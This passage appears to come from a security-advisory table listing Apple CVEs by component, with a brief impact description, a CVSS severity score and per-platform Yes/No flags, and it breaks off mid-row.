7.5HIGH\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65343\n        Kernel\n        A remote attacker may be able to cause unexpected system termination\n        7.5HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65364\n        Kernel\n        A remote attacker may be able to cause unexpected system termination\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86894\n        libxpc\n        An app may be able to break out of its sandbox\n        7.5HIGH\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84543\n        SMB\n        Connecting to a malicious SMB server may cause unexpected system termination or corrupt kernel memory\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84553\n        smbx\n        A remote attacker may be able to cause a denial-of-service\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28930\n        Spotlight\n        An app may be able to access protected user data\n        7.5HIGH\n        NoNoNoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-86904\n        Watch App\n        An app may be able to track users across apps and websites without permission\n        7.5HIGH\n        YesYesNoNoNoNoYesNoNoNo\n      \n      \n        CVE-2026-64752\n        CoreMedia\n        Processing a maliciously crafted image may lead to arbitrary code execution\n        7.3HIGH\n        YesNoYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-84611\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        7.3HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84632\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        7.3HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-64736\n        IOMobileFrameBuffer\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        7.1HIGH\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-65349\n        Kernel\n        An app may be able to cause unexpected system termination or read kernel memory\n        6.6MEDIUM\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-84537\n        SMB\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        6.6MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43788\n        Spotlight\n        Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents\n        6.6MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86882\n        Accelerate Framework\n        Processing a maliciously crafted image may lead to unexpected process termination\n        6.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84519\n        AppleDouble\n        Mounting a disk image with maliciously crafted files may lead to unexpected system termination\n        6.5MEDIUM\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86879\n        Baseband\n        A remote attacker may be able to cause a denial-of-service\n        6.5MEDIUM\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86885\n        Baseband\n        An attacker in radio range may be able to cause unexpected system termination\n        6.5MEDIUM\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65412\n        CoreText\n        Processing web content may lead to a denial-of-service\n        6.5MEDIUM\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-84596\n        CoreText\n        Processing a maliciously crafted font may result in the disclosure of process memory\n        6.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84597\n        FontParser\n        Processing a maliciously crafted font may result in the disclosure of process memory\n        6.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2022-3437\n        Heimdal\n        A user in a privileged network position may be able to leak sensitive user information\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28934\n        HFS\n        Mounting a malicious disk image may cause unexpected system termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65347\n        ImageIO\n        Processing an image may lead to a denial-of-service\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65395\n        ImageIO\n        Processing a maliciously crafted image may result in memory corruption\n        6.5MEDIUM\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-43687\n        Kernel\n        Connecting to a malicious NFS server may disclose kernel memory\n        6.5MEDIUM\n        YesYesYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-65330\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        6.5MEDIUM\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-84538\n        Kernel\n        A remote attacker may be able to cause a denial-of-service\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84588\n        Kernel\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        6.5MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84487\n        SceneKit\n        Processing a maliciously crafted file may result in disclosure of process memory\n        6.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43719\n        SMB\n        Mounting a maliciously crafted SMB network share may lead to system termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65365\n        SMB\n        Connecting to a malicious SMB share may disclose kernel memory\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84536\n        SMB\n        Connecting to a malicious SMB server may lead to unexpected system termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43677\n        WebDAV\n        Connecting to a malicious WebDAV server may lead to unexpected app termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64715\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-64753\n        WebKit\n        Processing maliciously crafted web content may disclose sensitive user information\n        6.5MEDIUM\n        YesNoYesNoNoYesYesYesYesNo\n      \n      \n        CVE-2026-64787\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process termination\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-64778\n        WebKit History\n        Visiting a maliciously crafted website may leak sensitive data\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84560\n        Bluetooth\n        An app may gain unauthorized access to Bluetooth\n        6.1MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84619\n        Kernel\n        An app may be able to cause unexpected system termination or write kernel memory\n        6.1MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84554\n        CUPS\n        An attacker in a privileged network position may be able to cause a denial-of-service\n        5.9MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43664\n        Accessibility\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesYesYesYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-65404\n        Accounts\n        A malicious application may be able to bypass Privacy preferences\n        5.5MEDIUM\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84523\n        APFS\n        An app may be able to cause unexpected system termination or write kernel memory\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84586\n        Apple Account\n        A malicious application may be able to leak sensitive user information\n        5.5MEDIUM\n        NoNoYesNoNoNoYesNoNoNo\n      \n      \n        CVE-2026-65407\n        AppleAVD\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84593\n        AppleKeyStore\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43763\n        ATS\n        An app may be able to read files outside of its sandbox\n        5.5MEDIUM\n        NoNoNoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86905\n        Authentication Services\n        An app may be able to delete credentials stored in Keychain\n        5.5MEDIUM\n        YesNoYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43737\n        CoreMotion\n        An app may be able to access motion data from headphones without user consent\n        5.5MEDIUM\n        YesYesYesYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-43738\n        CoreUI\n        Processing a maliciously crafted asset catalog may result in disclosure of process memory\n        5.5MEDIUM\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84489\n        CoreUI\n        An app may be able to cause a denial of service\n        5.5MEDIUM\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84534\n        file_cmds\n        Extracting a maliciously crafted archive may allow an attacker to write arbitrary files\n        5.5MEDIUM\n        YesYesYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-65409\n        Foundation\n        An app may be able to cause a denial of service\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-64756\n        Image Capture\n        An app may be able to access user-sensitive data\n        5.5MEDIUM\n        YesNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64760\n        IOSurfaceAccelerator\n        An app may be able to leak sensitive kernel state\n        5.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65401\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65402\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65405\n        Kernel\n        An app may be able to determine kernel memory layout\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84517\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84521\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesYesYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-86903\n        Kernel\n        An app may be able to disclose kernel memory\n        5.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-86883\n        Managed Configuration\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43741\n        Messages\n        An app may be able to access protected user data\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84491\n        Photos Storage\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesYesYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84576\n        QuartzCore\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84555\n        Sandbox\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        NoNoYesNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-65413\n        SceneKit\n        An app may be able to cause a denial of service\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28937\n        Terminal\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-64718\n        WebKit Canvas\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        5.5MEDIUM\n        YesYesYesNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-65393\n        Xcode IDE\n        An app may be able to access user-sensitive data\n        5.5MEDIUM\n        NoNoYesNoNoNoNoNoNoYes\n      \n      \n        CVE-2026-84617\n        XPC\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesYesYesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64788\n        IOGPUFamily\n        Processing maliciously crafted web content may lead to memory corruption\n        5.4MEDIUM\n        NoNoNoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-65341\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        5.4MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-34979\n        CUPS\n        An attacker in a privileged network position may be able to cause a denial-of-service\n        5.3MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86876\n        CoreMedia\n        A sandboxed process may be able to circumvent sandbox restrictions\n        5.2MEDIUM\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-86889\n        Security\n        An attacker in a privileged network position may be able to intercept network traffic\n        4.8MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84492\n        Graphics\n        An app may be able to cause unexpected system termination\n        4.7MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84630\n        Kernel\n        An app may be able to cause unexpected system termination\n        4.7MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43690\n        SMB\n        A local user may be able to read kernel memory\n        4.7MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84518\n        Safari\n        A malicious website may be able to determine what apps a user has installed\n        4.3MEDIUM\n        YesNoYesNoNoNoNoNoYesNo\n      \n      \n        CVE-2026-43795\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64780\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64781\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64784\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65331\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65332\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65333\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65334\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65335\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65336\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65337\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65338\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65340\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65351\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64782\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        3.1LOW\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64779\n        WebKit Storage\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        3.1LOW\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-86910\n        APFS\n        An application may be able to access restricted files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86888\n        App Store\n        A local app may be able to read a persistent account identifier\n        TBDTBD\n        YesNoYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-84587\n        AppKit\n        An app may be able to access protected user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-20683\n        Apple Account\n        An app may be able to use the Sign In With Apple authentication flow to access the user's Apple Account\n        TBDTBD\n        YesNoYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-84601\n        Apple Intelligence\n        An app may be able to bypass Apple Intelligence security prompts\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65408\n        Apple Neural Engine\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84520\n        AppleFDEKeyStore\n        A local attacker may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65381\n        AppleMobileFileIntegrity\n        A malicious app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84522\n        Archive Utility\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84584\n        Archive Utility\n        An app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65342\n        ATS\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84525\n        ATS\n        An app may be able to access user-sensitive data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65339\n        Audio\n        An app may be able to leak sensitive user information\n        TBDTBD\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-84583\n        AuthKit\n        A local app may be able to read a persistent account identifier\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84570\n        autofs\n        An app may be able to bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65410\n        AVEVideoEncoder\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-84616\n        AVEVideoEncoder\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65406\n        BackgroundAssets\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-86878\n        Camera\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84567\n        cd9660\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86893\n        CloudKit\n        An app may be able to read device name\n        TBDTBD\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65399\n        copyfile\n        An archive may be able to bypass Gatekeeper\n        TBDTBD\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-86891\n        Core Bluetooth\n        An app may be able to access Bluetooth device information\n        TBDTBD\n        NoNoYesYesYesNoYesNoNoNo\n      \n      \n        CVE-2026-43683\n        CoreDrag\n        An app may be able to cause unexpected process termination or disclose process memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43789\n        CoreMedia\n        An app may be able to access user-sensitive data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65344\n        CoreMedia\n        Processing a maliciously crafted video file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-43702\n        CoreMedia Video Toolbox\n        Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory\n        TBDTBD\n        NoYesNoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84624\n        CoreML\n        A sandboxed app may be able to access restricted files\n        TBDTBD\n        YesYesYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-84559\n        CoreServices\n        A malicious application may be able to access restricted files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84574\n        CoreServices\n        An app may be able to bypass Privacy preferences\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84511\n        CoreUI\n        Processing a maliciously crafted asset catalog may lead to unexpected process termination\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84571\n        CoreUI\n        Processing a maliciously crafted image may lead to unexpected app termination\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-64790\n        CUPS\n        An app may be able to gain elevated privileges\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84540\n        CUPS\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84541\n        CUPS\n        An application may be able to access restricted files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84612\n        DeviceCheck\n        An app may be able to read persistent device identifiers\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84512\n        Disk Images\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84550\n        Disk Images\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84552\n        Disk Images\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84565\n        Disk Images\n        Processing a maliciously crafted disk image may lead to unexpected app termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84510\n        exFAT\n        Mounting a maliciously crafted volume may lead to unexpected system termination\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86900\n        exFAT\n        Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86901\n        exFAT\n        Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43785\n        File Bookmark\n        An app may be able to modify a file it only had permission to read\n        TBDTBD\n        YesNoYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-43688\n        Filters\n        Processing a maliciously crafted file may lead to unexpected app termination\n        TBDTBD\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84524\n        FontParser\n        Processing a maliciously crafted font file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84569\n        Foundation\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86911\n        Foundation\n        A malicious app may be able to bypass clickjacking protections for secure prompts\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84618\n        Game Center\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84533\n        Heimdal\n        An attacker in a privileged network position may be able to modify network traffic\n        TBDTBD\n        YesNoYesNoNoYesYesNoNoNo\n      \n      \n        CVE-2026-64714\n        ImageIO\n        Processing a maliciously crafted image may lead to a denial-of-service\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84564\n        ImageIO\n        Processing a maliciously crafted image may result in disclosure of process memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-86869\n        ImageIO\n        Processing a maliciously crafted image may lead to unexpected app termination\n        TBDTBD\n        NoYesYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43743\n        IOGPUFamily\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoYesNoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65398\n        IOMobileFrameBuffer\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65354\n        iWork\n        A malicious app may be able to break out of its sandbox\n        TBDTBD\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-28935\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-28968\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43790\n        Kernel\n        A remote attacker may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65358\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65359\n        Kernel\n        A local user may be able to cause unexpected system termination or read kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65360\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65369\n        Kernel\n        A malicious application may bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65371\n        Kernel\n        An app may be able to disclose kernel memory\n        TBDTBD\n        NoNoNoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-65377\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84507\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84530\n        Kernel\n        An app may be able to disclose kernel memory\n        TBDTBD\n        YesYesYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-84544\n        Kernel\n        Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84549\n        Kernel\n        Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84558\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84561\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84566\n        Kernel\n        A local attacker may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84602\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84622\n        Kernel\n        An app with root privileges may be able to read uninitialized kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84514\n        Kext Management\n        An app may be able to modify protected parts of the file system\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84556\n        Keychain Access\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65382\n        LaunchServices\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86870\n        libarchive\n        Processing a maliciously crafted file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-84577\n        libxpc\n        An app may be able to bypass sandbox restrictions\n        TBDTBD\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-43787\n        Mail\n        An attacker in a privileged network position may be able to leak sensitive user information\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84573\n        Mail\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84628\n        MediaRemote\n        A sandboxed app may be able to access the System Keychain\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-86924\n        MobileAccessoryUpdater\n        Connecting a malicious accessory may cause unexpected system termination\n        TBDTBD\n        YesYesYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65411\n        MobileBackup\n        An app may be able to modify protected parts of the file system\n        TBDTBD\n        YesYesNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-84598\n        MobileBackup\n        An attacker with physical access to a trust-paired device may be able to read and write arbitrary 